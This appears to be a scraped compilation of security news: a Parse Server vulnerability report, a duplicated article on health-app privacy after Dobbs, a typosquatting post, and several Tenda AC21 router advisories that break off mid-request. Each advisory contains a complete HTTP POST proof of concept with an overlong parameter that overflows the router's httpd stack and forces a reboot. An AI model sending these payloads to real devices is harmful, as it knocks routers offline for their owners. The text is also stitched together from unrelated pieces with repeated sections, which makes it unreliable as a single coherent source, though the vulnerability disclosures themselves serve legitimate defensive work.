Open source project provides push notification functionality for iOS, macOS, Android, and tvOS

Adam Bannister 20 September 2022 at 14:57 UTC

Open source project provides push notification functionality for iOS, macOS, Android, and tvOS

A security flaw in Parse Server that enabled brute-force guessing of sensitive user data on the API server module for Node.js and the Express WAF has been patched.

Parse Server is a popular open source project that provides push notification functionality for iOS, macOS, Android, and Apple TV operating system tvOS.

“Internal fields (keys used internally by Parse Server, prefixed by \_) and protected fields (user defined) can be used as query constraints,” reads a description of the vulnerability in a GitHub advisory published on Friday (September 16).

Read more of the latest cybersecurity vulnerability news

“Internal and protected fields are removed by Parse Server from query results and are only returned to the client using a valid master key. However, using query constraints, these fields can be guessed by enumerating until Parse Server returns a response object.”

Tracked as CVE-2022-36079, the high severity issue was assigned a CVSS rating of 8.6 by GitHub but 7.5 by the National Institute of Standards and Technology (NIST). Attack complexity was deemed ‘low’.

**Update and workaround**

The bug was patched in versions 4.10.14 and 5.2.5 of the parse-server NPM package with all prior versions on these release lines affected. The fix mandates that the master key uses internal and protected fields as query constraints.

A workaround is also available for developers who are unable to update their systems immediately. “Implement a Parse Cloud Trigger beforeFind and manually remove the query constraints,” explained the advisory.

Other significant security bugs addressed in Parse Server this year include a high severity authentication bypass impacting Apple Game Center, disclosed in June, and a prototype pollution, maximum severity vulnerability disclosed in March that would “likely affect Postgres and any other database backend”.

RECOMMENDED ‘Security teams often fight against developers taking control’ of AppSec: Tanya Janca on the drive to DevSecOps adoption

Parse Server fixes brute-forcing bug that put sensitive user data at risk

What does your autonomy mean to you?



By Ashlee Benge and Jonathan Munshaw.


After the recent Supreme Court ruling in Dobbs v. Jackson Women's Health Organization, the use of third-party apps to track health care has recently come under additional scrutiny for privacy implications.
Many of these apps have privacy policies that state they are authorized to share data with law enforcement investigations, though the exact application of those policies is unclear.
The use of health-tracking apps and wearable tech is rising, raising questions around the application of the 14th Amendment’s equal protection clause and HIPPA rules as to who can and cannot collect and share health care information. 


It’s become second nature for many users to blindly click on the “Accept” button on an app or website’s privacy policy and terms of service. But in the wake of the U.S. Supreme Court’s ruling in Dobbs v. Jackson Women’s Health Organization that reversed previous interpretations of the 14th amendment on privacy from Roe v. Wade, users of sensitive health apps need to be mindful of the kinds of data these apps keep, sell and share. It is a privacy ruling at its core, with the decision raising concerns about the government’s ability to access our personal and private information. Today’s digital surveillance infrastructures, coupled with new and existing laws, digital health histories are nearly impossible to protect. 
The use of health data tracking applications and wearable tech has rapidly increased in the past several years. These apps track a hodgepodge of data, from heart rate and blood oxygen level, to when and where a user works out, to what a user eats. Some of these fitness applications even track more sensitive data like sexual activity, body composition using progress photos, and sleep cycles. Blood glucose levels can be tracked continuously using a wearable sensor and app rather than routinely timed finger pricks. 
Privacy policies are only so private
Although there are stringent laws regarding the use of personally identifiable information tied to health records, there are grey areas in the way this legislation applies to the data collected by healthcare apps. Additionally, if the servers of these apps are breached or otherwise compromised, there may be no liability to the app. This breached data is often sold on readily accessible marketplaces. But even if there’s no breach or illicit use of this information, apps and their creators can still learn a great deal about users. 
When health data collected by these apps is combined with other datasets like location data and what is available on social media profiles, advertisers, law enforcement agencies and more can craft a shockingly comprehensive view into the user’s life. In some instances, this inferred profile can be used for nefarious purposes, even resulting in criminal charges. Even prior to recent rulings, police in Nebraska launched an investigation using Facebook messages, eventually leading to criminal charges. In July 2021, a Catholic publication used location data tied to Grindr activity, purchased from a data aggregator, to allege that a high-ranking bishop was potentially gay. This allegation ultimately led to the bishop’s resignation. 
Some of the most sensitive data tracked by users of health apps is in period and pregnancy tracking apps. These apps track things like period timing and symptoms, user-provided notes and comments, ovulation periods for those who are trying to get pregnant, and fetal growth process throughout pregnancy. Many of these apps state that they do not sell or share user data in their privacy policies. However, there are often exceptions for law enforcement requests. In the aforementioned case in Nebraska, Meta, Facebook’s parent company, complied with the investigation by giving law enforcement data on two people involved in compliance with its privacy policy and regulations.
PII on especially sensitive apps
Since the ruling, there have been continuous calls for users to delete apps tracking this information. Although laws like HIPAA in the United States stringently regulate the use and sharing of health records by traditional providers, these laws do not apply in the same manner to third-party health apps. These apps function as what is called a “designee,” and in some cases, can share data provided by users without their direct consent. This is because health tracking apps are considered “non-covered entities.” 
HIPAA only applies to covered entities, defined as health plans, healthcare clearinghouses, and specifically defined providers and associates. Apps typically do not fall within these definitions unless they are provided by a user’s insurance company or healthcare provider. Because HIPAA does not apply and there is limited legislation preventing it, these apps are free to sell and share your personal health data in a way that your doctor cannot.
Privacy watchdog organizations fear that, with this ruling, the laws around data sharing could be loosened. The right to privacy, interpreted to be provided by the 14th Amendment (along with others) has been used as precedence for a myriad of other laws outside of women’s reproductive rights, such as the legalization of same-sex marriage in the U.S. Privacy watchdogs are speculating that undermining these rights could allow for the sharing of personally identifiable health records to be used to determine insurance rates, with higher rates for individuals deemed to be high risk, or even for health records to be shared with current or prospective employers. In a world with no regulations against the sharing of health records on health apps, your medical diagnoses or level of risk inferred from your nutrition or workout trackers, could be used against you.
Without legislation preventing the sharing of your health data, app privacy policies are the only barrier to your data being shared or sold without your consent. These privacy policies tend to vary between individual apps, however. 
What some popular apps’ policies say



Screencap of a portion
of What to Expect's
privacy policy taken 
on Aug. 10, 2022.

What to Expect is one of the most popular pregnancy apps currently available on all platforms. This app is widely used by users who are either currently pregnant or trying to become pregnant, ranked No. 52 in Health and Fitness on the Apple app store, with nearly 300,000 positive reviews. In addition to data actively provided to the app, the app’s Privacy Policy states several other layers of personally identifiable information (PII) are collected, including the user’s expected due date, any photographs posted to the app, demographic information like gender and age, contact details, location information and “any views or opinions you provide to us.” 

However, the app’s policies also state it will process that information when “conducting investigations where necessary” and in “compliance with applicable law.” The policy also states:

"We may disclose your User Information to legal and regulatory authorities; our external advisors; parties who Process User Information on our behalf (“Processors”); any party as necessary in connection with legal proceedings; any party as necessary for investigating, detecting or preventing criminal offenses; any purchaser of our business; and any third party providers of advertising, plugins or content used on the Services. Other apps and services have overhauled and strengthened their privacy and data-sharing policies in response to changing abortion laws."

Flo, a popular period tracking app, recently announced a new “anonymous” mode that will allow users to completely remove their personal and device information from the app and leave the company without any access to their data should a law enforcement agency request it. 
"If Flo were to receive an official request to identify a user by name or email, Anonymous Mode would prevent us from being able to connect data to an individual, meaning we wouldn't be able to satisfy the request," the company’s CEO said in an email to users announcing the new features. 
For any users not using Anonymous mode, Flo’s default privacy policy permits the app to share PII with a third-party advertising company, AppsFlyer, which then uses that information to generate curated ads on several other platforms, such as the social media app Snapchat and Google sites. 



Information from the Flo app 
regarding the sale of users' data 
for advertising purposes. 

Astrology-focused menstrual tracking app Stardust also announced earlier this year that it changed its privacy policy to clarify that it would not provide user data if requested by law enforcement. And Clue, a European-based app that tracks menstrual cycles, and pregnancies and offers its own form of birth control, says it will not cooperate with any U.S.-based law enforcement investigations.

For other, less-recognized apps, policies vary greatly and leave the door open for data-sharing with law enforcement if users are not careful about investigating their privacy policies and information-sharing agreements. 
On the Android app store, searching for “Period tracker” surfaces several non-mainstream apps as top results, such as “Period Calendar Period Tracker.” That app offers users predictions on when users’ next period will begin, peak ovulation times and any symptoms they’re experiencing on specific days and times. 
The app’s privacy policy states that it will "share information with law enforcement agencies, public authorities, or other organizations if We’re [sic] required by law to do so or if such use is reasonably necessary. We will carefully review all such requests to ensure that they have a legitimate basis and are limited to data that law enforcement is authorized to access for specific investigative purposes only."
The app’s Android store page does advertise that it doesn't share any data with other companies or organizations, though some of the service providers they partner with might sell it.
The store page for the app also contains an image claiming that it is “Verified by Privacy International,” a U.K.-based privacy-focused non-profit organization. Period Calendar Period Tracker was mentioned in a 2019 study listing which period-tracking apps did or did not share data with Facebook — at the time, the app did not share information with Facebook. However, a representative from Privacy International told Talos the organization has no relationship with the app, nor does it verify or certify certain apps based on their privacy policies.


Things to consider when downloading health care-related apps


As data privacy law changes rapidly, users should be more mindful of the types of information and data they share with these apps. Outside of switching to a traditional pen-and-paper calendar method, there are a few tips users can follow when considering using an app that tracks health data of any kind, particularly the kinds of sensitive data tracked by period or pregnancy tracking app:
Carefully evaluate privacy policies before downloading and using an app, and don’t hesitate to reach out to listed contacts for additional information. Be aware that if an app’s privacy policy does not include a section titled “Notice of Privacy Practices for Protected Health Information," HIPAA does not apply, and there is limited legislation preventing the app from selling or sharing your health data. 
Be mindful about the types of information you share with these apps and evaluate your level of risk were this information to become public. Ensure you are only sharing information with these apps that you are comfortable with potentially becoming public without your consent.
If allowed by the app, opt out of all data collection and information sharing. Many apps will offer this option because of GDPR rules in Europe or California’s recently passed California Consumer Privacy Act.
Only download apps from trusted stores and trusted developers.
Use anonymous modes if offered by the app.


Note: Representatives from Period Calendar Period Tracker and What to Expect did not respond to a request for comment via emails sent to their publicly listed contact information in the respective apps’ privacy policies.

**What does your autonomy mean to you?**

_By Ashlee Benge and Jonathan Munshaw._

*   After the recent Supreme Court ruling in Dobbs v. Jackson Women's Health Organization, the use of third-party apps to track health care has recently come under additional scrutiny for privacy implications.
*   Many of these apps have privacy policies that state they are authorized to share data with law enforcement investigations, though the exact application of those policies is unclear.
*   The use of health-tracking apps and wearable tech is rising, raising questions around the application of the 14th Amendment’s equal protection clause and HIPPA rules as to who can and cannot collect and share health care information. 

It’s become second nature for many users to blindly click on the “Accept” button on an app or website’s privacy policy and terms of service. But in the wake of the U.S. Supreme Court’s ruling in Dobbs v. Jackson Women’s Health Organization that reversed previous interpretations of the 14th amendment on privacy from Roe v. Wade, users of sensitive health apps need to be mindful of the kinds of data these apps keep, sell and share. It is a privacy ruling at its core, with the decision raising concerns about the government’s ability to access our personal and private information. Today’s digital surveillance infrastructures, coupled with new and existing laws, digital health histories are nearly impossible to protect.

The use of health data tracking applications and wearable tech has rapidly increased in the past several years. These apps track a hodgepodge of data, from heart rate and blood oxygen level, to when and where a user works out, to what a user eats. Some of these fitness applications even track more sensitive data like sexual activity, body composition using progress photos, and sleep cycles. Blood glucose levels can be tracked continuously using a wearable sensor and app rather than routinely timed finger pricks. 

**Privacy policies are only so private**

Although there are stringent laws regarding the use of personally identifiable information tied to health records, there are grey areas in the way this legislation applies to the data collected by healthcare apps. Additionally, if the servers of these apps are breached or otherwise compromised, there may be no liability to the app. This breached data is often sold on readily accessible marketplaces. But even if there’s no breach or illicit use of this information, apps and their creators can still learn a great deal about users. 

When health data collected by these apps is combined with other datasets like location data and what is available on social media profiles, advertisers, law enforcement agencies and more can craft a shockingly comprehensive view into the user’s life. In some instances, this inferred profile can be used for nefarious purposes, even resulting in criminal charges. Even prior to recent rulings, police in Nebraska launched an investigation using Facebook messages, eventually leading to criminal charges. In July 2021, a Catholic publication used location data tied to Grindr activity, purchased from a data aggregator, to allege that a high-ranking bishop was potentially gay. This allegation ultimately led to the bishop’s resignation. 

Some of the most sensitive data tracked by users of health apps is in period and pregnancy tracking apps. These apps track things like period timing and symptoms, user-provided notes and comments, ovulation periods for those who are trying to get pregnant, and fetal growth process throughout pregnancy. Many of these apps state that they do not sell or share user data in their privacy policies. However, there are often exceptions for law enforcement requests. In the aforementioned case in Nebraska, Meta, Facebook’s parent company, complied with the investigation by giving law enforcement data on two people involved in compliance with its privacy policy and regulations.

**PII on especially sensitive apps**

Since the ruling, there have been continuous calls for users to delete apps tracking this information. Although laws like HIPAA in the United States stringently regulate the use and sharing of health records by traditional providers, these laws do not apply in the same manner to third-party health apps. These apps function as what is called a “designee,” and in some cases, can share data provided by users without their direct consent. This is because health tracking apps are considered “non-covered entities.” 

HIPAA only applies to covered entities, defined as health plans, healthcare clearinghouses, and specifically defined providers and associates. Apps typically do not fall within these definitions unless they are provided by a user’s insurance company or healthcare provider. Because HIPAA does not apply and there is limited legislation preventing it, these apps are free to sell and share your personal health data in a way that your doctor cannot.

Privacy watchdog organizations fear that, with this ruling, the laws around data sharing could be loosened. The right to privacy, interpreted to be provided by the 14th Amendment (along with others) has been used as precedence for a myriad of other laws outside of women’s reproductive rights, such as the legalization of same-sex marriage in the U.S. Privacy watchdogs are speculating that undermining these rights could allow for the sharing of personally identifiable health records to be used to determine insurance rates, with higher rates for individuals deemed to be high risk, or even for health records to be shared with current or prospective employers. In a world with no regulations against the sharing of health records on health apps, your medical diagnoses or level of risk inferred from your nutrition or workout trackers, could be used against you.

Without legislation preventing the sharing of your health data, app privacy policies are the only barrier to your data being shared or sold without your consent. These privacy policies tend to vary between individual apps, however. 

**What some popular apps’ policies say**

Screencap of a portion  
of What to Expect's  
privacy policy taken  
on Aug. 10, 2022.

What to Expect is one of the most popular pregnancy apps currently available on all platforms. This app is widely used by users who are either currently pregnant or trying to become pregnant, ranked No. 52 in Health and Fitness on the Apple app store, with nearly 300,000 positive reviews. In addition to data actively provided to the app, the app’s Privacy Policy states several other layers of personally identifiable information (PII) are collected, including the user’s expected due date, any photographs posted to the app, demographic information like gender and age, contact details, location information and “any views or opinions you provide to us.” 

However, the app’s policies also state it will process that information when “conducting investigations where necessary” and in “compliance with applicable law.” The policy also states:

> "We may disclose your User Information to legal and regulatory authorities; our external advisors; parties who Process User Information on our behalf (“Processors”); any party as necessary in connection with legal proceedings; any party as necessary for investigating, detecting or preventing criminal offenses; any purchaser of our business; and any third party providers of advertising, plugins or content used on the Services. Other apps and services have overhauled and strengthened their privacy and data-sharing policies in response to changing abortion laws."

Flo, a popular period tracking app, recently announced a new “anonymous” mode that will allow users to completely remove their personal and device information from the app and leave the company without any access to their data should a law enforcement agency request it. 

"If Flo were to receive an official request to identify a user by name or email, Anonymous Mode would prevent us from being able to connect data to an individual, meaning we wouldn't be able to satisfy the request," the company’s CEO said in an email to users announcing the new features. 

For any users not using Anonymous mode, Flo’s default privacy policy permits the app to share PII with a third-party advertising company, AppsFlyer, which then uses that information to generate curated ads on several other platforms, such as the social media app Snapchat and Google sites. 

Information from the Flo app  
regarding the sale of users' data  
for advertising purposes. 

Astrology-focused menstrual tracking app Stardust also announced earlier this year that it changed its privacy policy to clarify that it would not provide user data if requested by law enforcement. And Clue, a European-based app that tracks menstrual cycles, and pregnancies and offers its own form of birth control, says it will not cooperate with any U.S.-based law enforcement investigations.

For other, less-recognized apps, policies vary greatly and leave the door open for data-sharing with law enforcement if users are not careful about investigating their privacy policies and information-sharing agreements. 

On the Android app store, searching for “Period tracker” surfaces several non-mainstream apps as top results, such as “Period Calendar Period Tracker.” That app offers users predictions on when users’ next period will begin, peak ovulation times and any symptoms they’re experiencing on specific days and times. 

The app’s privacy policy states that it will "share information with law enforcement agencies, public authorities, or other organizations if We’re \[sic\] required by law to do so or if such use is reasonably necessary. We will carefully review all such requests to ensure that they have a legitimate basis and are limited to data that law enforcement is authorized to access for specific investigative purposes only."

The app’s Android store page does advertise that it doesn't share any data with other companies or organizations, though some of the service providers they partner with might sell it.

The store page for the app also contains an image claiming that it is “Verified by Privacy International,” a U.K.-based privacy-focused non-profit organization. Period Calendar Period Tracker was mentioned in a 2019 study listing which period-tracking apps did or did not share data with Facebook — at the time, the app did not share information with Facebook. However, a representative from Privacy International told Talos the organization has no relationship with the app, nor does it verify or certify certain apps based on their privacy policies.

**Things to consider when downloading health care-related apps**

*   As data privacy law changes rapidly, users should be more mindful of the types of information and data they share with these apps. Outside of switching to a traditional pen-and-paper calendar method, there are a few tips users can follow when considering using an app that tracks health data of any kind, particularly the kinds of sensitive data tracked by period or pregnancy tracking app:
*   Carefully evaluate privacy policies before downloading and using an app, and don’t hesitate to reach out to listed contacts for additional information. Be aware that if an app’s privacy policy does not include a section titled “Notice of Privacy Practices for Protected Health Information," HIPAA does not apply, and there is limited legislation preventing the app from selling or sharing your health data. 
*   Be mindful about the types of information you share with these apps and evaluate your level of risk were this information to become public. Ensure you are only sharing information with these apps that you are comfortable with potentially becoming public without your consent.
*   If allowed by the app, opt out of all data collection and information sharing. Many apps will offer this option because of GDPR rules in Europe or California’s recently passed California Consumer Privacy Act.
*   Only download apps from trusted stores and trusted developers.
*   Use anonymous modes if offered by the app.

_Note: Representatives from Period Calendar Period Tracker and What to Expect did not respond to a request for comment via emails sent to their publicly listed contact information in the respective apps’ privacy policies._

Our current world, health care apps and your personal data

Categories: News
Tags: typosquatting

Tags:  sniffies

Tags:  extensions

Tags:  fake av

Tags:  screen locker

Tags:  advertising

Tags:  PUP.Optional.AdMax

A researcher found a list of over 50 shady domains based on spelling variations of the brand name Sniffies.



(Read more...)




The post Hookup site targeted by typo-squatters appeared first on Malwarebytes Labs.

Posted: September 19, 2022 by

Ethical hacker and security researcher Kody Kinzie shared with BleepingComputer a list of over 50 domains of which many are spelling variations of the brand name Sniffies.

Sniffies identifies itself as a “modern, map-based, meetup app for gay, bi, and curious guys.”

Kody used an open source tool called DNSTwist to generate a list of lookalike domains for Sniffies.com. Out of the 3531 possibilities generated by the tool, 51 represented valid domains.

"I saw a good amount of domains registered with the same MX server set up, even though the domains were hosted on random platforms."

A mail exchanger record (MX record) specifies the mail server responsible for accepting email messages on behalf of a domain name. So that would imply that the domains were set up by the same threat-actor.

**Typosquatting**

Typosquatting is a term you may have seen when reading about Internet scams. In essence it relies on users making typing errors (typos) when entering a site or domain name. Sometimes it is also referred to as URL hijacking or domain mimicry, but IMHO the word typosquatting more accurately describes the matter. As you will understand, the success of a typosquat scammer depends on the number of victims that are likely to misspell the intended domain and land on the scammers’ pages.

One factor is the popularity of the domain. With an estimated number of 79,600 visitors per day, Sniffies certainly qualifies in that department.

**Advertising**

BleepingComputer’s test results were described as:

“Once accessed, the illicit 'Sniffies' copycat domains do one of the following things:

*   Push the user to install dubious Chrome extensions
*   Launch the 'Music' App on Apple devices right from the web browser
*   Lead the users to bogus technical 'support' scam sites
*   Lead the users to fake job posting sites"

Obviously, we did some testing of our own. We found some domains that had either been abandoned or parked for the future, but some did what they were set up for—redirect visitors based on some basic system properties and the location (based on IP address).

Most of the redirects we found at Malwarebytes went to advertising sites that were more or less legitimate. But certainly not what the user would be looking for. Many shared this look, offering the visitor a few choices.

In one instance (Dutch IP, Windows system) we were redirected to a fake Microsoft Defender warning site (including soundtrack and locked screen), parked in the domain ondigitalocean.app which has been on Malwarebytes’ radar for some time.

We also found one of the Chrome extensions that BleepingComputer described as dubious. Malwarebytes detects these extensions as PUP.Optional.AdMax.

**Mitigation**

While it’s certainly nice to read how these campaigns work and how the research was done, Sniffies is just an example of what is out there.

To avoid falling victim to typosquatters, there are a few basic measures you can take, which are in essence aimed at not typing the url.

*   Bookmark your favorites
*   Use search results rather than typing the url in the address bar
*   Leave some or all of the sites that you visit every day open in your browser tabs (most popular browsers offer the option to continue where you left off or to specify a set of sites to start with)
*   Never click links in unexpected emails or on unknown sites
*   Use an antivirus or anti-malware solution that offers web protection and preferably even an anti-exploit solution.

Stay safe, everyone!

**RELATED ARTICLES**

Hookup site targeted by typo-squatters

Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, form_fast_setting_wifi_set.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionform_fast_setting_wifi_set

In this function, it calls sub_441F30(a1) and the vulnerability is in sub_441F30

In sub_441F30() , it calls sscanfto read strings in v5 which we can control through POST parameter timeZone. It doesn’t check the length of v5, and the v8, v9 is on the stack, so there is a stack overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/fast_setting_wifi_set HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 484
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.9865714904007963&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Connection: close
    
    ssid=1&timeZone=1:1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-40075: Vuln/Tenda AC21/1 at main · xxy1126/Vuln

Tenda AC21 V16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, function: fromSetWifiGusetBasic.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionfromSetWifiGusetBasic

Attacker can use this vulnerability via theshareSpeed parameter.

it calls strcpy(v12, v7) and v12 is on the stack, so there is a stack buffer overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/WifiGuestSet HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 23
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.9865714904007963&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Connection: close
    
    shareSpeed=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can cause httpd reboot.

CVE-2022-40076: Vuln/Tenda AC21/4 at main · xxy1126/Vuln

Tenda AC21 V16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, function: formSetQosBand.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionformSetQosBand

Attackers can cause this vulnerability via parameter list

In function formSetQosBand, it calls set_qosMib_list and pass v2 to it.

In function set_qosMib_list, it calls strcpy(v8, s), v8 is on the stack, so there is a buffer overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetNetControlList HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 879
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.08852963756997312&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07aduufcvb
    Connection: close
    
    list=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can makehttpd reboot

CVE-2022-40068: Vuln/Tenda AC21/10 at main · xxy1126/Vuln

Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, function: formSetVirtualSer.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionformSetVirtualSer

Attackers can cause this vulnerability via parameter list

In function formSetVirtualSer, it calls save_virtualser_data and vulnerability is in this function.

In function save_virtualser_data , it calls sscanf to read strings in v9(a2) to parameter on the stack without checking its length , so there is a buffer overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetVirtualServerCfg HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 160
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.278922737111333&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07adfmbcvb
    Connection: close
    
    list=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can makehttpd reboot

CVE-2022-40067: Vuln/Tenda AC21/9 at main · xxy1126/Vuln

]Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, function: fromSetSysTime.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionfromSetSysTime

In function fromSetSysTime, it calls sub_496104(a1), the vulnerability is in this function.

In sub_496104(a1), it calls sscanf() and the v6, v7 is on the stack, so there is a buffer overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetSysTimeCfg HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 754
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07adhyecvb
    Connection: close
    
    timeType=sync&timeZone=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111%3A11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
    

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

CVE-2022-40069: Vuln/Tenda AC21/6 at main · xxy1126/Vuln

Tenda AC21 V 16.03.08.15 is vulnerable to Buffer Overflow via /bin/httpd, function: setSmartPowerManagement.

**Tenda AC21(V16.03.08.15) contains Stack Buffer Overflow Vulnerability****overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

**product information**

Tenda A21(V16.03.08.15), latest version of simulation overview：

**description****1\. Vulnerability Details**

Tenda AC21(V16.03.08.15) contains a stack overflow vulnerability in file /bin/httpd, functionsetSmartPowerManagement

Attackers can cause this vulnerability via parameter time

the sscanf function read string from s, and pass to v10 which is on the stack without checking its length, so there is a buffer overflow vulnerability.

**2\. Recurring loopholes and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/PowerSaveSet HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 1087
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/system_time.html?random=0.9241437684734013&
    Accept-Encoding: gzip, deflate
